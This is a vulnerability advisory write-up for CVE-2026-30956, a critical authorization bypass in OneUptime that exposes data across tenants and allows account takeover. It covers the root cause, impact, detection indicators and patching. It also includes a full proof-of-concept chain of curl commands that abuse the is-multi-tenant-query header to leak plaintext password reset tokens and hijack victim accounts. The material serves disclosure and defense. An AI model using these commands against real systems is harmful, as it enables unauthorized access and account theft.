CVE-2026-30956: 
JavaScript vulnerability analysis and mitigation

CVE-2026-30956 is a critical authorization bypass vulnerability in OneUptime, an open-source monitoring and incident management platform, that allows a low-privileged authenticated user to bypass tenant isolation and achieve cross-tenant data exposure and full account takeover. It affects all versions of OneUptime prior to 10.0.21 (specifically confirmed in v10.0.20 and earlier). The vulnerability was published on March 8, 2026, and patched in version 10.0.21 released the same day. It carries a CVSS v3.1 base score of 9.9 (Critical) (Github Advisory, OneUptime Advisory).

The root cause is improper and missing authorization (CWE-285, CWE-862) stemming from the server trusting a client-controlled HTTP header (is-multi-tenant-query) to determine whether authorization checks should be bypassed. In CommonAPI.ts, the presence of this header sets props.isMultiTenantRequest = true, which causes BasePermission to skip all table-level, query-level, and select-level permission checks, as well as tenant scoping enforcement. Additionally, models decorated with @MultiTenentQueryAllowed(true) — including the Project model — allow cross-tenant queries when this header is present, exposing nested createdByUser relations containing sensitive fields such as password, resetPasswordToken, and webauthnChallenge. The resetPasswordToken is stored in plaintext in the database, enabling a direct account takeover chain. Exploitation requires only a valid low-privileged account and knowledge of a victim's project ID (OneUptime Advisory, Github Advisory).

Successful exploitation allows any authenticated low-privileged user to read project data belonging to any other tenant, modify other tenants' project data (write isolation bypass), and retrieve sensitive user credential fields including plaintext password reset tokens and password hashes. By combining the token leak with the /api/identity/reset-password endpoint, an attacker can fully take over any victim account in the system, gaining complete control over their monitoring configurations, incident data, and associated integrations. Because OneUptime is a multi-tenant platform, a single compromised low-privileged account can be leveraged to compromise every tenant in the deployment (OneUptime Advisory).

A detailed proof-of-concept exploit consisting of step-by-step curl commands is publicly available in the official security advisory, rated with high confidence as a real, actionable exploit (OneUptime Advisory). The vulnerability requires only low privileges (a valid account) and no user interaction, making it trivially exploitable over the network. The EPSS score is approximately 0.022% (0.039% per Feedly), placing it in the 7th percentile for near-term exploitation probability. No threat actor attribution or confirmed in-the-wild exploitation has been reported, and it is not currently listed in the CISA KEV catalog. The vulnerability was discovered and reported by researcher Zwique (Github Advisory).

1. Obtain a low-privileged account: Register or obtain any valid OneUptime account on the target instance. Note your own project ID (e.g., 7cb77c45-c2e0-42b5-8a28-57aa0dec6e82) and your Bearer token.

2. Enumerate other tenants' projects: Send a POST request to /api/project/get-list with the is-multi-tenant-query: true header and your own projectid header. This bypasses all authorization checks and returns all projects across all tenants:

curl -X POST http://target/api/project/get-list \
  -H "authorization: Bearer <YOUR_TOKEN>" \
  -H "projectid: <YOUR_PROJECT_ID>" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"query": {}, "select": {"_id": true, "name": true, "createdOwnerEmail": true}}'

3. Identify the victim's project ID and email: From the response, note the victim's project ID (e.g., 88ced36b-4c0a-4c12-bdf1-497d60b10b23) and their email address.

4. Trigger a password reset for the victim: Send a forgot-password request for the victim's email to generate a reset token:

curl -X POST http://target/api/identity/forgot-password \
  -H "content-type: application/json" \
  -d '{"email":"victim@example.com"}'

5. Leak the plaintext reset token: Query the victim's project via the bypass, selecting the createdByUser.resetPasswordToken field:

curl -X POST http://target/api/project/get-list \
  -H "authorization: Bearer <YOUR_TOKEN>" \
  -H "projectid: <YOUR_PROJECT_ID>" \
  -H "is-multi-tenant-query: true" \
  -H "content-type: application/json" \
  -d '{"query": {"_id": "<VICTIM_PROJECT_ID>"}, "select": {"_id": true, "createdByUser": {"email": true, "password": true, "resetPasswordToken": true}}}'

6. Reset the victim's password: Use the leaked token to set a new attacker-controlled password:

curl -X POST http://target/api/identity/reset-password \
  -H "content-type: application/json" \
  -d '{"resetPasswordToken": "<LEAKED_TOKEN>", "password": "AttackerChosenPassword123!"}'

7. Log in as the victim: Authenticate with the victim's email and the newly set password to achieve full account takeover (OneUptime Advisory).

• Network: Unusual POST requests to /api/project/get-list or /api/project/<id>/update-item containing the is-multi-tenant-query: true HTTP header from non-administrative accounts; requests to /api/identity/forgot-password followed shortly by requests to /api/identity/reset-password from a different IP or session.
• Logs: API access logs showing a single low-privileged user account querying project data for multiple different project IDs (cross-tenant enumeration); log entries for forgot-password requests for accounts not associated with the requesting user's session; reset-password calls using tokens not sent to the requesting user's email.
• Application Behavior: Unexpected changes to project names or configurations in tenant projects not owned by the modifying user; victim accounts reporting password changes they did not initiate; multiple tenant projects returned in a single get-list response for a non-admin user.
• Authentication: Successful logins to victim accounts from IP addresses or user agents not previously associated with those accounts, immediately following a password reset event (OneUptime Advisory).

The vulnerability is fixed in OneUptime version 10.0.21, released March 8, 2026. All users running version 10.0.20 or earlier should upgrade immediately to 10.0.21 (OneUptime Release). As a server-side hardening measure, tenant context and multi-tenant query authorization should be validated server-side rather than derived from client-supplied headers. Until patching is possible, consider restricting API access to trusted networks or implementing a WAF rule to block requests containing the is-multi-tenant-query header from non-administrative sources. Post-upgrade, audit logs for suspicious cross-tenant access patterns and consider invalidating all active password reset tokens (Github Advisory).

The vulnerability received coverage from security news outlets including The Hacker Wire, which published an article titled "OneUptime Critical Auth Bypass Leads to Cross-Tenant Data Exposure and Account Takeover" (The Hacker Wire), and SecurityOnline.info, which noted the maximum CVSS score and account takeover potential (SecurityOnline). The advisory was also discussed on Mastodon and Bluesky social platforms shortly after disclosure. The ENISA EUVD database assigned a base score of 10.0 to this vulnerability, reflecting the severity of the cross-tenant impact.